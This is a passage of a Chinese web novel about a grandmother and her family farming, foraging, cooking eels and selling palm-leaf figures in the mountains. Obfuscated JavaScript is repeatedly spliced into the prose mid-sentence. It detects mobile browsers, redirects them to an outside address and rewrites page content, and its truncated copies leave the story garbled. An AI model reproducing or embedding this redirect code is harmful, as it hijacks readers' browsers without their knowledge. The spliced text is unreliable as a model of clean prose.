林禾挖完垄，底下的沈大山夫妇也结束了，提着鞋子往踩着田埂往上走。 林禾估摸着这两天竹笋也长好了，回去的路上，开口道：“你们先回去，我去把小竹林里的竹笋摘了。” 说完林禾就在岔路口和二人分开。 沿着小路往下走，林禾顺利从小山坡上滑下去，钻进竹林一看。 果然里面的红壳笋都仿佛打了激素一般，全部蹿高了一大截，甚至有些都快长得和林禾一样高了。 这样的红壳笋已经变成竹子，太老了，不能再吃。 林禾弯腰在小竹林里穿行，握着笋尖，一揪一个准，不多时就抱不下了。 林禾扯了根藤蔓绑好后扔在小山坡上继续揪红壳笋。 等面前没有合适的红壳笋之后，林禾抬头打算往回走，却突然被一抹亮眼的黄色吸引目光。 离得远，起初林禾只以为是山间的野花，可当她拨开挡在眼前的竹叶时，她才看清山谷里长的是油菜花！ 而且还是成片的油菜花！ 有的开花了，有的没开花，但长势喜人，都含着花骨朵。 俏生生在春风里晃动，晃得人心生欢喜。 原先山谷里就长着油菜，只不过山谷的地势比较低，加上没有开花，林禾来了几次都没注意过。 与其是说山谷，不如说是一处洼地，地势虽然低，但坡度缓。 林禾抓着两边的杂草慢慢往下走，走到下面发现这些油菜有的地方长得密，七八株都挤在一起。 有的地方又长得稀疏，两三株占了一大片地方。 想来应该不是有人种在此处的，最初这里应该只有一两株油菜，后来结了油菜籽，随意散开在地面上，才慢慢有了这么大一片。 洼地里的油菜都长得很好，估计能结不少油菜籽。 本来以为要等着茶油树结果才能榨油吃，但现在有了这么一大片油菜，绝对能撑到十一月茶油籽成熟。 油菜一般在开花后的二十多天就会成熟，五月初就能收割。 也就是现在油菜花只开了一小部分，不然油菜花的香味根本遮不住。 林禾吸了一口油菜花的清香，心情大好，爬上去带着红壳笋往回走。 回去的路上，林禾被一丛开得正艳的映山红吸引，大红色的花在一众深绿浅绿的树叶中格外突出。 清明前后，正是映山红的花期。 从前长在花坛里的映山红考验素质，不能摘，但长在野外的映山红考验手速，手慢无。 林禾摘完映山红，转身准备离开，却瞥见几棵香椿芽，淡红色的嫰芽刚长了手指那么长。 林禾自然不会客气，全都薅下来放进怀里。 林禾回去时，王三娘带着大妞二妞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287107|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去深潭下喂鸭子了，沈大山正在搓棕绳。 棕榈皮昨天刚抓完棕绒，趁热打铁将棕绳搓出来后就能做蓑衣了。 搓好的棕绳被卷成团放在手边，就像毛线一样。 林禾去看了一眼浸泡的稻谷，发现已经有一些稻谷开始露出白色的胚芽。 其实林禾没有刻意催芽，她怕催芽之后把握不好出现烂芽。 陶盆里的稻谷每一颗都很珍贵，林禾舍不得随意浪费任何一颗。 林禾带回来六大捆红壳笋，吃肯定是吃不完的，照例留下一捆平时吃，剩下的五捆全部做成笋干。 等王三娘带着大妞二妞回来时，林禾已经剥了大半盆红壳笋，笋壳堆满脚边。 大妞进来一眼就看见了放在草垫上的映山红，盯着看了好几眼，但没开口说话。 无论男女，小孩子看见花都觉得新奇欢喜。 大妞显然也是喜欢的，只是她懂事，没主动开口要，但林禾看出她的心思，侧身给大妞拿了一簇，“喜欢就拿着！” “谢谢奶奶。”大妞冲着林禾甜甜一笑。 林禾揉了揉大妞毛茸茸的脑袋顶，“不用谢，再拿一簇给二妞。” “嗯！”大妞抱着满怀的映山红朝二妞小跑过去。 “哇！姐姐，你从哪里摘的花，太好看了吧！”二妞喊得夸张，放下手里抱着的陶盆冲过来抱住大妞，“你是世界上最好的长姐！” 大妞有些不好意思，哄着脸扭头小声纠正，“这是奶奶摘回来的。” “那奶奶就是世界上最好的奶奶！”二妞拿着手里的映山红，又冲过去抱林禾。 “娘，也就您乐意惯着她们，还记得给她们带花回来。”王三娘看似嗔怪，但心底其实对林禾又亲近了几分。 “你和你姐姐都有花，你娘没有，她吃味了，快把后面的花拿给她！” 林禾笑着调侃王三娘，示意二妞去自己身后拿映山红。 “娘，我可没有！”王三娘本想开口拒绝，但二妞已经将一大簇映山红怼到她手中，拒绝的话也说不出口了。 第22章 香椿芽炒蛋 “这花确实俏丽，我去拿个陶罐插起来。”王三娘拿着手里的映山红，笑眯眯地跑过去洗干净一个陶罐，把花插里面，“这样还能活得久些。” 沈大山看着她们高高兴兴的，也跟着嘿嘿笑。 山洞里的石桌上摆着映山红，一抹亮眼的红，平添了几分生机。 洗手的二妞看着蓄水池旁边的香椿芽，“奶奶，这是什么？” “香椿芽，可以用来炒鸭蛋吃，焯水凉拌也好吃。” 林禾剥完一盆红壳笋，就将脚边的笋壳全部捆在一起，留着晚上还能喂鸭子。 “还是娘厉害，我们来来**那么多趟都没看见有香椿芽。” 王三娘把香椿芽和剥好的竹笋一起清洗后又分了一部分香椿芽放进陶锅中。 有两个灶的好处在此刻体现出来，同时能进行蒸煮和炒菜。 焯好水的香椿芽加上木姜子和盐拌在一起，林禾尝了一口，香椿芽淡淡香味裹着木姜子的辣味，入口鲜辣又有些回甘，“好吃！” “一会儿炒鸭蛋吃肯定更好吃。”二妞站在一边盯着林禾手中的碗。 林禾见二妞把“想吃”二字写在脸上，夹了一筷子喂给她，又喂了大妞一口。 沈大山往灶里添火，默默往回咽了咽口水。 以前没发现娘做菜这么好吃。 靠着之前那只肥鸭肚子里掏出来的油，炼出小半罐油，分出一点炒鸭蛋还是没问题的。 许是因为上半年是野鸭繁殖的季节，母鸭每天至少都能生两三个蛋，攒了几天就有一篮子鸭蛋。 林禾一下磕了五个鸭蛋进去，香椿芽的每一片叶子都充分裹着蛋液在锅中摊成饼状，两面金黄时出锅，香气勾得人直咽口水。 午膳只煮了土豆当主食，煮土豆的时候林禾在水里加了盐，咸味的土豆口感更好。 一口鲜辣的凉拌香椿芽，一口口感绵密的土豆，再吃上一口香椿蛋饼，味蕾得到极大满足，胃里的饥饿感也被抚平。 沈大山最后更是把凉拌香椿芽剩下的汤汁都蘸着土豆吃了。 下午没下雨，但水田还需要再泡一晚，林禾就带着切好块的土豆和红薯先去了旱地。 红薯最合适的种法还是扦插法，成活率更高，所以比土豆多一步育苗的步骤。 林禾先把红薯块埋了下去，红薯要育苗，林禾就只埋了两亩田。 剩下的四亩旱地，林禾都种了土豆。 眼看这天又要下雨，林禾把旱地的排水口又挖开了一些，免得积水在旱地里，把土里埋好的茎块沤坏。 沈大山和王三娘没跟着林禾出来。 林禾让他们二人趁着这几天把蓑衣赶出来。 明日就要播种，水稻发芽之后长起来是很快的，这个过程也很麻烦。 田里的水多了不行，水少了也不行，得常去看，去放水引水。 秧苗长出来之后还得插秧，插秧之后也得去田里拔杂草，琐碎的事情才刚刚开始，没有蓑衣是万万不行的！ 二人也不负林禾的信任，等林禾回去的时候，所有的棕绳都搓好了，第一件蓑衣只差一个下摆就完成了。 王三娘还用竹子做了斗笠，没有油纸，里面垫着的那一层，她就用棕树叶代替，瞧着也有模有样，至少下雨的时候不会淋湿头发。 王三娘看见林禾回来，立马拿着斗笠上前。 “娘，我先给您做了一个，您试试合不合适？” “好。”林禾接过斗笠戴在头上，不觉得压前额，也不会往前或者往后滑动，“你的手艺好，大小很合适。” 从前巡山的时候，林禾不是没有戴过这样的斗笠，但大多数时候头围都是不合适的。 每次巡山不仅要忙着看路，还要伸出一只手忙着扶斗笠。 “那我再多做几个。”王三娘又坐回去，拿着竹条给其他人编斗笠。 林禾见王三娘和沈大山都在忙，她抓起捆成一把的竹笋壳，混着割回来的苜蓿草一起切碎，混在一起后装在陶盆里拿下去喂鸭。 深潭不大，周围又围了半人高的围栏，林禾并不担心大妞和二妞会掉进去，也就由着二人跟着。 “啰啰啰啰——” 两个孩子比林禾还要熟练，一开口就把鸭子们吸引过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287108|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她们喂的次数多，鸭子们已经形成了条件反射，一听到她们的声音就围了过来。 林禾把陶盆里的草都倒了进去，等着鸭子吃完今天的最后一顿就用竹笼带上去。 深潭不大，但流出去的水冲出一片浅滩，周围野草茂盛，虫子也多。 林禾站了一会儿，就被咬了好几口。 “奶奶，下面的虫子多，你得站上来。” 大妞出声提醒林禾。 她和二妞早就体验过，这才吃了教训。 林禾闻言，抬脚往上走，却没注意脚下的青苔，一脚踩在上面，身体失去平衡。 “奶奶——” 两个孩子急着跑下来。 但幸好林禾抓着手边的草稳住身体，只有一只脚陷入泥地里，“没事，这里滑，你们站着不要下来。” 这里的泥巴很深，林禾一脚踩下去都到小腿肚了，大妞二妞下来怕是要到大腿根。 林禾想把脚从泥巴里抽出来，第一下，没抽动，又攒着劲儿试了一下，终于**。 二妞看着林禾的腿，开口问：“奶奶，你的鞋呢？” “留在里面了。”林禾把另外一只鞋也脱下来放在上面，光着脚下去摸留在泥里面的鞋子。 她只有一双鞋，这鞋子若是没了或者坏了，以后就只能穿硌脚的草鞋。 林禾的手一伸下去鞋子摸到了，同时一道滑溜溜的条状物也从她的手边擦过。 林禾一个激灵，手迅速收了回来。 她最讨厌滑溜溜的东西！ 几乎只是摸到一下，林禾就猜到泥里面的东西是什么了。 不可能是蛇，只能是黄鳝或者泥鳅。 这里的泥巴这么深，旁边又有这么多野草，有泥鳅和黄鳝也不奇怪。 林禾把布鞋从泥巴里拽出来，蹲在一旁没有走。 她讨厌黄鳝和泥鳅滑溜溜的手感不假，但不代表她讨厌吃它们！ 林禾盯着这一大片泥地，有些不甘心，“大妞，你上去把你爹叫下来。” “好！”大妞现在对林禾的话深信不疑，扭头就往回跑。 第23章 黄鳝泥鳅 二妞则学着林禾的样子，蹲在她旁边，也盯着泥地看，但她瞧不出端倪。 于是，沈大山一下来，就看见一老一小蹲在地上，一个苦大仇深，一个满脸好奇。 “娘？大妞说你叫我下来？” 林禾起身，“把鞋子脱了，下去抓泥鳅和黄鳝。” 沈大山闻言，面露难色，支支吾吾开口：“娘，我怕这些东西，滑腻腻的……” 林禾将沈大山从头到脚看了一遍，眼里透着明晃晃的不信。 好好的一个壮汉，肌肉发达，怎么…… “娘，大山确实怕这种滑唧唧的东西，我能下去抓。” 王三娘跟在大妞身后笑着挽起裤腿，把鞋子一脱就踩了下去。 泥地里的泥鳅和黄鳝多，王三娘刚走没几步就踩到了，伸手下去捞起一大块泥巴。 “这里面有两条嘞！大妞二妞你们赶紧过来抓到盆里去，千万别让它们跑了。” 王三娘说完就继续伸手在泥地里摸，没一会儿就又抓了一条黄鳝出来。 “娘，盆在这儿呢！别让它跑了！” 二妞看着黄鳝一点都不害怕，还主动想往前凑。 林禾看着她们母子三人抓得不亦乐乎，一会儿抓一条黄鳝，一会儿抓一条泥鳅，又看了看蹲在一边的沈大山。 “你把鸭子送上去吧。” 反正也帮不上忙。 林禾虽然不能抓黄鳝，但她却瞧见了混在杂草中长着的水芹菜。 林禾踩着一旁较浅的泥地绕过去，蹲下开始掐水芹菜。 四月初的水芹菜最鲜嫩水灵，轻轻一掐就断，带回去晚上和黄鳝泥鳅炖成一锅汤正合适。 林禾掐完水芹菜，反手拨开周围的杂草，就看见一丛野小蒜，又叫野韭菜。 瞧着像野草又像小葱，**之后下面挂着水滴状的蒜头，蒜味很浓。 周围的土松，林禾很容易就拔了出来，随手在深潭里涮了涮野蒜上沾着的泥土。 “娘，今晚咱们能吃顿好的了！”王三娘抱着陶盆上来，满脸笑意。 林禾往陶盆里一看，满满一大盆，黄鳝和泥鳅都有，个头还都不小。 “咱们拿回去养一养，能吃好几天！” 王三娘往陶盆里泼了些水，高高兴兴往回走。 回去之后，大妞二妞承包了清洗黄鳝泥鳅的任务。 两个人丝毫不怕，很快就把黄鳝和泥鳅都分了出来。 有一些瘦小的泥鳅林禾让她们放在另外的盆里养着，“等明日去田里的时候，带过去放在田里养着，在盆里养只会越来越瘦。” 泥鳅可是益虫，尤其是在农田里，不仅能吃掉害虫的虫卵和幼虫，还能抑制杂草的生长，又能松土增肥。 而且以后养大了，从田里抓出来还能吃。 林禾讨厌活的黄鳝和泥鳅，但若是为了吃，她可以让步。 用盐腌过的泥鳅和黄鳝身上的粘液已经去得差不多，没了滑腻腻的粘液，林禾看它们顺眼多了，手上的动作也不再犹豫。 泥鳅除了去除粘液之外不需要额外的处理，黄鳝则要麻烦些。 滑腻腻的粘液少了，林禾直接用手按住黄鳝的头，用菜刀划开放血。 黄鳝不放血，腥味会更重。 本来油就不多，不能爆炒，只能炖汤，更要将血放干净。 林禾划开四条黄鳝，都放在盆里等了半刻钟才连同内脏和血一起清洗干净，切成段后放在碗里备用。 “娘，锅热了！”沈大山自觉做不了其他的事情，一来就忙着生火洗锅。 “你先倒些油进去。”林禾最后再清洗了一遍泥鳅，过去的时候锅中的油冒着白烟。 锅里的油不多，就半勺，就图菜上有些油水。 “滋啦——” 膳段和泥鳅倒进锅中，激起一阵白烟，等表面微微泛起金黄，林禾从旁边的陶锅中舀了一勺开水加入锅中。 加热水是汤煮成奶白色的关键。 从前她并不知道这个小窍门，还是跟着山里的一个阿婆学的。 “大山，多加几根柴。”林禾说完就转身切了一把野蒜。 等锅中的汤煮沸，慢慢变成奶白色后，她才抓了一把水芹菜过来，两手一拧，从中间断开的水芹菜被她扔进锅中。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287109|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 加入盐之后盖上锅盖焖煮，再掀开时，已经有香味溢出来。 林禾拿筷子沾了点汤尝味道，确定咸度适中后，才把切好的野蒜放进去调味。 满满一大锅黄鳝泥鳅汤端过来，几人围着石桌坐下，一口汤下肚，浑身都暖和起来。 “咕咚咕咚——” 沈大山端起碗连着喝了两大口，一碗汤两口就见底。 王三娘又给他添了一碗，里面还多放了两块黄鳝肉。 “不用这么多，你们先吃，剩下的再给我。”沈大山说着就要往外夹。 林禾看了他一眼，又看了一眼放下筷子的双胞胎，“锅里还有这么多，不用你让，每个人都能吃到，你让来让去，孩子瞧了心里怎么想？” 沈大山是家里的主要劳动力，平时干活多，又多是些需要力气的，吃得多也无可厚非，没人去苛责他。 但他偏生是个爱自我牺牲的。 他若是让来让去，两个孩子的心理包袱也重，大家的饭都吃不痛快。 沈大山看向大妞二妞，一下就对上了她们自责的眼神，心中瞬间明白过来，夹起来的黄鳝肉又放回自己的碗里。 他不吃，省下来给孩子们吃，确实只顾及到自己的心情，没有想过她们愿不愿意…… 林禾见他明白了，也没再多说，喝着碗中的汤，夹起一条泥鳅，一会儿的功夫就嗦出一个完整的“鱼尸骨”。 肉的味道就是美味！ 水芹菜虽然也鲜嫩，但味道到底还是比不上肉。 饱餐一顿，睡眠的质量都格外高一些。 等第二天醒来，林禾把晚上烘在竹焙笼里的笋干翻了个面，继续堆了些碳火在下面。 “大妞二妞，你们留在家里看着里面的笋干，不要烘焦了。” 林禾出门的时候嘱咐了一句，带着沈大山和王三娘去了梯田。 天气依旧不好，整个天空都灰蒙蒙的，细如牛毛的雨一直飘在空中。 幸好现在三人都有蓑衣可以穿，斗笠昨晚王三娘也赶了出来。 穿上蓑衣，戴上斗笠，这点小雨，林禾完全没放在心上。 第24章 再次下山 虽然一直在下雨，但旱地的垄高，出水口又被林禾挖宽了两指，倒是没积什么水。 水田地势比较低，旱地里的流下去的水顺着坡度往下大半都流入水田。 只是现在水田也不需要这么多水，林禾拿锄头挖开出水口，沈大山在下面的水田里挖。 水一点点往下流，直到水堪堪淹没田地半指，林禾才堵上出水口。 “三娘，你把陶盆拿下来。”林禾把手搭在锄头上，朝站在最上面的王三娘喊话。 “诶！就来！”王三娘抱着陶盆下来。 林禾和王三娘一前一后播撒已经开始冒芽的水稻种子。 在已经深耕过的水田里播种，不需要多余的处理，只靠泥浆自然塌陷将种子浅浅埋住就行。 一大盆水稻种子，播散完深耕出来的十亩水田一点都没剩下。 种的面积倒是不少，但收成如何还得看天意。 农民自古以来都是靠天吃饭，长成什么样现在也看不出来。 沈大山光脚站在田埂处，又挨个将堵回去的出水口挖出半指宽的缝隙。 水稻发苗的时候，水太多会把刚长出来的苗泡坏。 水田在地势低的地方，水很容易就往下流，加上这几日频繁下雨，不挖开让水往外流，稍不注意就泡烂了新发出来的嫰芽。 沈大山挖出水口时，林禾和王三娘也没闲着。 “娘，这鸭粪不是不能进田吗？我们带过来做什么？” 王三娘把草篮子里收集的鸭粪提了过来。 鸭粪进田害死苗。 这可是老祖宗传下来的。 “鸭粪也是好肥料，只不过不能直接用，要发酵完再混些草木灰中和一下。” 林禾说着就把带过来的草木灰倒进草编的篮子里。 她也不嫌弃，直接用手将草木灰和鸭粪混匀。 这可都是宝贝啊！ 鸭粪虽然容易烧苗，也容易带细菌但鸭粪里的氮肥很丰富，尤其是种红薯的前期，能促进红薯长叶。 草木灰含有丰富的钾肥，能促进根块膨大，又有杀菌的作用，和鸭粪一混合。 既解决了鸭粪的缺点，又放大了二者的优点。 二人一个提着草篮子，一个拿着锄头。 王三娘在前面撒混着鸭粪的草木灰，林禾在后面用土掩埋，每一垄都浅浅洒一行在旁边。 等事情做完，林禾弯着的腰才终于得到放松。 肩上的蓑衣确实遮雨，但重量也不轻，带着蓑衣干活就像跑步负重前行。 一回到山洞，林禾就把蓑衣都脱了下来，一身轻松！ 干完活回来吃饭胃口就是好，即便桌上只放着红薯，林禾都觉得无比美味。 林禾看着所剩不多的红薯，算算日子，也到了下一次草市开市的时间，可以下山再买一些红薯回来。 红薯不是稀罕玩意，村里种的多自然也就便宜。 一文钱一斤都算贵的，基本上都是搭着其他的东西半卖半送。 外面的雨就没停过，只有下得大或者下得小之分。 林禾想着要去草市，干脆拉着王三娘和大妞二妞开始用棕树叶编小动物。 从蝴蝶到蚂蚱，从松鼠到兔子，最后林禾用棕树叶编了个孙悟空出来。 二妞在一旁看得眼花缭乱，直到林禾编出成品，她才高兴得拍手叫好。 大妞则面无表情跟着林禾一起编，最开始的蝴蝶和蚂蚱，她看一遍就学会了，但越到后面，她的眉心就皱得越紧。 到最后的孙悟空，大妞怎么也没法收尾，脸上的纠结越发明显。 林禾凑过去开口指出后续的步骤，“从这里戳进去再折三下，然后拉出来再往上扯折五下。” “做出来了！”大妞看见成品时，稚嫩的脸上露出几分欣喜。 还是小孩子，再像个大人也终究还不是大人。 林禾又带着几人继续编其他的花样，最后居然把唐僧师徒和里面叫得出名字的妖怪都编了出来。 月中的草市不如月初热闹，但来的人也不算少。 这次林禾有经验，没去太早，而是等太阳出来之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287110|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才带着银钱和昨晚编好的东西下山。 林禾没指望靠棕树叶编的小玩意儿赚钱，这些小玩意儿能从卖货郎手里换些土豆就很不错了。 草市不比县城里的小摊，来草市的**多都是附近的村民，要换或者买的东西都必需品，这样的小玩意儿既不实用也不能吃，是卖不出去的。 但卖货郎不一样，他们走街串巷，既在城里又在乡道间卖东西，这样的小玩意儿大概率能卖出去。 林禾下山后，直奔上次的地方去，那卖货郎果然已经来了！ “婶子，我这次又带了土豆，还是五文钱，您要不要？”卖货郎一看见林禾就冲她打招呼。 卖货郎记得林禾，正是因为林禾在买东西时爽利，没有一劲儿地和他讨价还价。 而且胡商的土豆在市集并不好卖，这次他只花三文钱就买回来一袋。 若是五文钱卖出去，瞧着是给了优惠，但其实自己还能赚两文钱。 卖货郎瞧见林禾的态度自然热切殷勤。 “这土豆我还要，你若是下次有土豆，还可以带过来。”林禾笑着应下，先付了五文钱给卖货郎。 “诶！我记下了，下次若是有我多带两袋过来！”卖货郎接了钱，笑得开心。 林禾又问他，“可有黄豆和其他菜种子？” 卖货郎很少碰见人会找他买菜种子。 毕竟村里的人没有菜种子都会去找其他人匀一点，城里的人也不要菜种子，因为住的地方本就狭窄，哪里还有地方种菜？ 不过既然有人问起，卖货郎也不会放过这个赚钱的机会，他可以下次去村里卖货的时候收一些。 “黄豆有，但菜种子我还真没有……” 卖货郎见林禾来问第二次，忙开口道：“下次！下次我记下了，肯定给婶子带！您都想要些什么菜种？” “不拘是什么菜种，不过最好是好养活的，不需要费太多心思。” “成！我帮您留意着。”卖货郎满口应下，还不忘把布袋里的黄豆取出来，“八文钱一斗，您要几斗？” 第25章 被人跟踪 “五斗。”林禾馋豆腐了，看着这些圆鼓鼓的大豆，准备多要一些。 种完之后还能剩下一些用来做豆腐。 “行嘞！”卖货郎虽然是生意人，但他还算厚道，每一斗都是满满的。 沈大山见林禾一直在买东西却不提卖东西的事情，有些着急。 毕竟坐吃山空钱很快就没了。 林禾察觉出他的躁动，使了个眼色，示意他稍安勿躁。 做生意讲究有来有往，若是一上来就说自己是卖东西的，谁还会愿意搭理你？ “婶子，我这儿还有些其他的小玩意儿，您要不要看看？”卖货郎见林禾爽利，主动给她推荐其他的东西。 “说到小玩意儿……”林禾见时机成熟，笑着让沈大山把草篮子里的东西给卖货郎看。 “我这里也有一些用棕树叶编的小玩意儿，不知道你收不收？” 卖货郎见林禾说起，面上的热情收敛了些，但还是凑近看了一眼。 这一看倒真把他惊到了，“这些……都是用棕树叶编出来的？” 里面的蝴蝶、蚂蚱瞧着和真的一样，不过这都算不得什么，最重要的是那几个人偶！ 卖货郎又凑近一些，才确认那些人偶就是茶楼说书先生嘴里去西天取经的师徒四人啊！ 这可是最近茶楼最火的话本子！ 其他还有一些他不认识的精怪，说不准也是那话本子里的。 “都是用棕树叶编的，这些是动物，剩下的……”林禾话没说完，卖货郎激动地打断她。 “这个齐天大圣虽然没有脸，但神韵极像！你准备卖多少钱？” 卖货郎瞧着没有要收下的意思，但却有想要自己买回去收藏的意思。 林禾也回过味来。 她原以为自己还要为这几个人偶编些故事，没想到这里的人居然知道《西游记》的故事。 那简直不要太好！ “齐天大圣不单卖，师徒四人还有白龙马要一起卖，一套五十文。” 林禾开口说完，沈大山倒吸一口凉气。 他娘真敢说啊！ 这么几个草编的玩意儿就敢卖五十文！？ 哪个冤大头会答应啊！ “好！这两套我都要了！”卖货郎一口应下。 他深知现在这个话本子的火爆程度，自从茶楼里开始讲这个话本子，每天都有人等在茶楼，就为了听剩下的故事。 若是这个时候他拿去茶楼卖，绝对不止卖五十文！ 茶楼的小姐夫人们有钱，老爷公子们更是不差钱！ 关键是这话本子没有出任何画像，但这草编的模样，却很好地抓住了神韵，一眼就能瞧出来。 这才是最难能可贵的！ 卖货郎是会来事的，他担心林禾不卖给他，又开口道：“剩下的这些我也一起要了，婶子您看一共多少钱？” “一起一百七十文。” 林禾知晓他看不上那些蝴蝶蚂蚱，愿意高价收下是因为看重师徒四人和其他的精怪。 林禾也没开高价，而是提了一个双方都能接受的价格。 所以林禾把价格一说出来，卖货郎立刻就答应了，“成交！” 林禾又找他拿了一袋糙面和一袋糯米，卖货郎着急忙慌收拾东西，连后面有人来问他买东西，他都不卖了。 他要赶回县城卖草编的人偶，哪里还有心思管其他人。 最后，林禾这趟下山不仅没花钱，还倒赚七十文。 沈大山在一旁看得目瞪口呆。 他从前怎么不知道娘还有这样的本事？ 就短短几句话的功夫，就赚了一百七十文！ “娘，我是在做梦吗？”沈大山愣愣地开口。 林禾回头看了他一眼，“不是梦。” “太不真实了……”沈大山快步跟上林禾，压低声音：“娘，咱们一天就赚了一百七十文！就靠那些棕树叶编的小玩意！” “嗯。”林禾见他不敢置信的样子，也能理解。 毕竟从前他一直在村里，去过最远的地方也就是离村子十里路的镇上。 在镇上辛苦干一天活儿也才二十五文，哪里见过这样的场面？ 自然觉得不真实。 “娘，我一会儿再去多摘一些棕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287111|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树叶回来，我们多做一点出来卖，说不定能靠着这个发财嘞！” 沈大山一想到下次还能赚一百七十文，浑身都是干劲。 “这可以做，但不一定是长久的生意，因为别人看见了也会照着做，我们做出来的东西就不一定还能卖出这个价格。” 林禾不是故意在这个节骨眼上给他泼冷水，但林禾要他知道，做生意没有稳赚不赔的，要有接受价格起伏的能力。 沈大山听明白林禾话中的意思，还立马给出了自己的想法。 “娘说的有道理，那咱们这段时间多做一点，先挣完这段时间的钱！” 林禾听完，突然觉得沈大山经商一事上有些天赋。 不到半个时辰，就从震惊中回过神，立马想到要抢在其他人前面赚这笔钱。 谁见了不说一句聪明！ 林禾和沈大山沿着官道往前走了一段路，林禾就察觉出有些不对劲。 “大山，你一会儿走快些，在前面的拐角看看跟在后面的那两个人是不是跟着我们走。” 林禾故意放慢脚步，让沈大山先走。 果然身后的那两个男子也放慢脚步，沈大山也躲在拐角处看清那两个男子一直盯着林禾。 他放下扛在肩上的布袋，抓起路边的石头握在手上，蓄势待发。 等快到拐角处时，林禾加快脚步，身后的那两个男人一看着急了，快步跑过去。 没等他们看清沈大山的脸，就被他一人一下砸晕了。 “娘，他们怎么处理？”沈大山收着力道，怕闹出人命，只敢将人打晕。 “把他们的衣服都脱下来，丢在路边。” 林禾可不是圣母，对待不怀好意的人，怎么丢脸就怎么对付！ “娘，底裤也要扒吗？”沈大山看着只剩下底裤的二人有些犹豫。 毕竟林禾还在这里…… “全部脱掉，然后将人踹进水沟里。”林禾捡起地上的衣服，拍了拍上面的灰，“这两身衣裳带回去改一改你还能穿。” 沈大山将他们二人的底裤扒下来，随手丢在另一侧的水渠里，任由底裤被水冲走。 第27章 田艾糍粑 “就几步路了，你先往里走。”林禾没让沈大山帮忙，而是一鼓作气将石块搬进山洞。 “娘，这石头咱们搬回来做什么？” 沈大山又把石头往里挪了一点，两块石头并排放在一起，占据了山洞大片空间。 林禾脱下身上的蓑衣挂好，侧身往里走，“用这两块石头凿两个石臼出来。” “娘，咱们没有锥子啊……”沈大山摸着两块粗笨的石头，面露难色。 这么厚的石块，若是要凿成石臼不知道要花多少功夫。 “不用锥子也能行。”林禾说着王三娘就取了两堆火星子过来。 “娘，真倒在石头上啊？”王三娘有些犹豫。 “倒上去。”林禾坐在旁边，手上还在打磨一个比巴掌略长一些的石块。 王三娘应声把火星子倒上去，大妞二妞也好奇地凑过去。 莫约过了一刻钟，林禾停下手中的动作，把打磨好的石块放在一边，用陶盆装了满满一大盆水过来，看向蹲在旁边的大妞二妞。 “躲远些。” 王三娘闻言，立刻拉着二人起来站远了一点。 林禾把陶盆中的水倒在石块上，火星子瞬间被浇灭，冷水渗透到石块上，表面出现众多细细密密的裂纹。 加热后的石块遇冷水热胀冷缩会变脆。 林禾把之前打磨好的石块握在手上，不费太多力气，厚石块中间就被挖出一个大洞。 “娘，你这么大的力气啊！” 沈大山看着林禾像是挖泥巴一样，把坚硬的石块中间掏了个大洞，眼睛都瞪圆了！ 王三娘却是盯着旁边被清理出来的火星子看。 她觉得石头能被轻易挖开，定然和刚刚放在上面的火星子有关系。 “不是我力气大，而是石块加热之后再立马泼冷水，石块就会变脆，往后你们若是碰上也能用这招处理凿不开的石头。” 林禾没同他说这是热胀冷缩的原理，而是简单解释了一嘴。 “我也试试！”沈大山拿了林禾打磨石块剩下的边角料，抱着另一个厚石块挖。 他仿佛发现了新世界的大门，“娘，真的变脆了！一凿子能挖下去好深！” 他的力气本来就比林禾大，自然更轻松些。 林禾见他干得起劲儿，干脆把手上打磨好的石块给他，让他挖，“大概再挖下去半指深就行了。” 